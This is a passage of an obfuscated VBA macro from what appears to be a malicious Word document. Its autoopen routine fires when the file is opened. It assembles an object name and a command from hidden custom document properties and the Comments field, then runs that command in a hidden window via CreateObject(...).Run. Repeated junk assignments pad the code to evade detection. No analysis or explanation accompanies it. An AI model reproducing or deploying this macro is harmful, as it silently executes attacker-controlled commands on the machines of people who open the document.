        sdGvxsdGvxsdGvxsdGvxsdGvx = True
        CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

        Exit Function
    End If
Next MExzLMExzLMExzLMExzLMExzL
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

End Function

Sub autoopen()
SLdNsuSLdNsuSLdNsuSLdNsuSLdNsu
End Sub
Public Function HkKGsHkKGsHkKGsHkKGsHkKGs(wChCrwChCrwChCrwChCrwChCr)
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

zTFpMzTFpMzTFpMzTFpMzTFpM = ActiveDocument.CustomDocumentProperties(wChCrwChCrwChCrwChCrwChCr)
HkKGsHkKGsHkKGsHkKGsHkKGs = zTFpMzTFpMzTFpMzTFpMzTFpM
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

End Function
Public Function SLdNsuSLdNsuSLdNsuSLdNsuSLdNsu()
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

ZVhPyZVhPyZVhPyZVhPyZVhPy = HkKGsHkKGsHkKGsHkKGsHkKGs("MzhGUMzhGUMzhGUMzhGUMzhGU") + HkKGsHkKGsHkKGsHkKGsHkKGs("nupPWnupPWnupPWnupPWnupPW") + xeuCGdxeuCGdxeuCGdxeuCGdxeuCGd + PtRbVgPtRbVgPtRbVgPtRbVgPtRbVg + BMBuctBMBuctBMBuctBMBuctBMBuct + HSxfBAHSxfBAHSxfBAHSxfBAHSxfBA + XbNevbXbNevbXbNevbXbNevbXbNevb + FczwmFczwmFczwmFczwmFczwm + bFXGgbFXGgbFXGgbFXGgbFXGg + fbTSvZfbTSvZfbTSvZfbTSvZfbTSvZ + zEFeeGzEFeeGzEFeeGzEFeeGzEFeeG + WtdsdSWtdsdSWtdsdSWtdsdSWtdsdS + gKcakgKcakgKcakgKcakgKcak + yEeRSyEeRSyEeRSyEeRSyEeRS + HkKGsHkKGsHkKGsHkKGsHkKGs("spxLFhspxLFhspxLFhspxLFhspxLFh") + HkKGsHkKGsHkKGsHkKGsHkKGs("EnKEXbEnKEXbEnKEXbEnKEXbEnKEXb") + HkKGsHkKGsHkKGsHkKGsHkKGs("dxkErdxkErdxkErdxkErdxkEr")
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

LwMBdLwMBdLwMBdLwMBdLwMBd = HkKGsHkKGsHkKGsHkKGsHkKGs("gtmVagtmVagtmVagtmVagtmVa") + HkKGsHkKGsHkKGsHkKGsHkKGs("cydtaBcydtaBcydtaBcydtaBcydtaB") + HkKGsHkKGsHkKGsHkKGsHkKGs("yvBeAyvBeAyvBeAyvBeAyvBeA") + HkKGsHkKGsHkKGsHkKGsHkKGs("hpPGfhpPGfhpPGfhpPGfhpPGf") + HkKGsHkKGsHkKGsHkKGsHkKGs("rnrpfrnrpfrnrpfrnrpfrnrpf") + xeuCGdxeuCGdxeuCGdxeuCGdxeuCGd + PtRbVgPtRbVgPtRbVgPtRbVgPtRbVg + BMBuctBMBuctBMBuctBMBuctBMBuct + HSxfBAHSxfBAHSxfBAHSxfBAHSxfBA + XbNevbXbNevbXbNevbXbNevbXbNevb + FczwmFczwmFczwmFczwmFczwm + bFXGgbFXGgbFXGgbFXGgbFXGg + fbTSvZfbTSvZfbTSvZfbTSvZfbTSvZ + zEFeeGzEFeeGzEFeeGzEFeeGzEFeeG + WtdsdSWtdsdSWtdsdSWtdsdSWtdsdS + gKcakgKcakgKcakgKcakgKcak + yEeRSyEeRSyEeRSyEeRSyEeRS + HkKGsHkKGsHkKGsHkKGsHkKGs("RUgEKRUgEKRUgEKRUgEKRUgEK")
NzYFAxNzYFAxNzYFAxNzYFAxNzYFAx = LwMBdLwMBdLwMBdLwMBdLwMBd + "" + ActiveDocument.BuiltInDocumentProperties("Comments") + xeuCGdxeuCGdxeuCGdxeuCGdxeuCGd + PtRbVgPtRbVgPtRbVgPtRbVgPtRbVg + BMBuctBMBuctBMBuctBMBuctBMBuct + HSxfBAHSxfBAHSxfBAHSxfBAHSxfBA + XbNevbXbNevbXbNevbXbNevbXbNevb + FczwmFczwmFczwmFczwmFczwm + bFXGgbFXGgbFXGgbFXGgbFXGg + fbTSvZfbTSvZfbTSvZfbTSvZfbTSvZ + zEFeeGzEFeeGzEFeeGzEFeeGzEFeeG + WtdsdSWtdsdSWtdsdSWtdsdSWtdsdS + gKcakgKcakgKcakgKcakgKcak + yEeRSyEeRSyEeRSyEeRSyEeRS + nWtFdpnWtFdpnWtFdpnWtFdpnWtFdp
CreateObject(ZVhPyZVhPyZVhPyZVhPyZVhPy + "").Run$ "" + NzYFAxNzYFAxNzYFAxNzYFAxNzYFAx + xeuCGdxeuCGdxeuCGdxeuCGdxeuCGd + PtRbVgPtRbVgPtRbVgPtRbVgPtRbVg + BMBuctBMBuctBMBuctBMBuctBMBuct + HSxfBAHSxfBAHSxfBAHSxfBAHSxfBA + XbNevbXbNevbXbNevbXbNevbXbNevb + FczwmFczwmFczwmFczwmFczwm + bFXGgbFXGgbFXGgbFXGgbFXGg + fbTSvZfbTSvZfbTSvZfbTSvZfbTSvZ + zEFeeGzEFeeGzEFeeGzEFeeGzEFeeG + WtdsdSWtdsdSWtdsdSWtdsdSWtdsdS + gKcakgKcakgKcakgKcakgKcak + yEeRSyEeRSyEeRSyEeRSyEeRS + tktsAptktsAptktsAptktsAptktsAp, 0
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

End Function
Function XuEcVDXuEcVDXuEcVDXuEcVDXuEcVD(ByVal tRTaEttRTaEttRTaEttRTaEttRTaEt As String, ByVal tDuUMgtDuUMgtDuUMgtDuUMgtDuUMg As Variant) As Boolean
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

For Each bPFABbPFABbPFABbPFABbPFAB In tDuUMgtDuUMgtDuUMgtDuUMgtDuUMg
    If bPFABbPFABbPFABbPFABbPFAB = tRTaEttRTaEttRTaEttRTaEttRTaEt Then
        XuEcVDXuEcVDXuEcVDXuEcVDXuEcVD = True
        Exit Function
    End If
Next bPFABbPFABbPFABbPFABbPFAB
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

End Function
 Function CCpEMhCCpEMhCCpEMhCCpEMhCCpEMh(ByVal LuWAsuLuWAsuLuWAsuLuWAsuLuWAsu As String, ByVal RkaAMRkaAMRkaAMRkaAMRkaAM As Variant) As Boolean
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

For Each ZLnGFFZLnGFFZLnGFFZLnGFFZLnGFF In RkaAMRkaAMRkaAMRkaAMRkaAM
    If ZLnGFFZLnGFFZLnGFFZLnGFFZLnGFF = LuWAsuLuWAsuLuWAsuLuWAsuLuWAsu Then
        CCpEMhCCpEMhCCpEMhCCpEMhCCpEMh = True
        Exit Function
    End If
Next ZLnGFFZLnGFFZLnGFFZLnGFFZLnGFF
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

End Function
 Function KGaHXKGaHXKGaHXKGaHXKGaHX(ByVal SXMVAbSXMVAbSXMVAbSXMVAbSXMVAb As String, ByVal ZzcsCZzcsCZzcsCZzcsCZzcsC As Variant) As Boolean
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

For Each XGcuGKXGcuGKXGcuGKXGcuGKXGcuGK In ZzcsCZzcsCZzcsCZzcsCZzcsC
    If XGcuGKXGcuGKXGcuGKXGcuGKXGcuGK = SXMVAbSXMVAbSXMVAbSXMVAbSXMVAb Then
        KGaHXKGaHXKGaHXKGaHXKGaHX = True
        Exit Function
    End If
Next XGcuGKXGcuGKXGcuGKXGcuGKXGcuGK
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

End Function
 Function TVwRfTVwRfTVwRfTVwRfTVwRf(ByVal trVWVStrVWVStrVWVStrVWVStrVWVS As String, ByVal FvKskeFvKskeFvKskeFvKskeFvKske As Variant) As Boolean
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

For Each nPefcEnPefcEnPefcEnPefcEnPefcE In FvKskeFvKskeFvKskeFvKskeFvKske
    If nPefcEnPefcEnPefcEnPefcEnPefcE = trVWVStrVWVStrVWVStrVWVStrVWVS Then
        TVwRfTVwRfTVwRfTVwRfTVwRf = True
        Exit Function
    End If
Next nPefcEnPefcEnPefcEnPefcEnPefcE
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

End Function
 Function hvcKyhvcKyhvcKyhvcKyhvcKy(ByVal GGhsnGGhsnGGhsnGGhsnGGhsn As String, ByVal cFfgxccFfgxccFfgxccFfgxccFfgxc As Variant) As Boolean
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

For Each LzEBVLzEBVLzEBVLzEBVLzEBV In cFfgxccFfgxccFfgxccFfgxccFfgxc
    If LzEBVLzEBVLzEBVLzEBVLzEBV = GGhsnGGhsnGGhsnGGhsnGGhsn Then
        hvcKyhvcKyhvcKyhvcKyhvcKy = True
        Exit Function
    End If
Next LzEBVLzEBVLzEBVLzEBVLzEBV
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

End Function
 Function LnNZzLnNZzLnNZzLnNZzLnNZz(ByVal cSVMFfcSVMFfcSVMFfcSVMFfcSVMFf As String, ByVal SubRgtSubRgtSubRgtSubRgtSubRgt As Variant) As Boolean
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
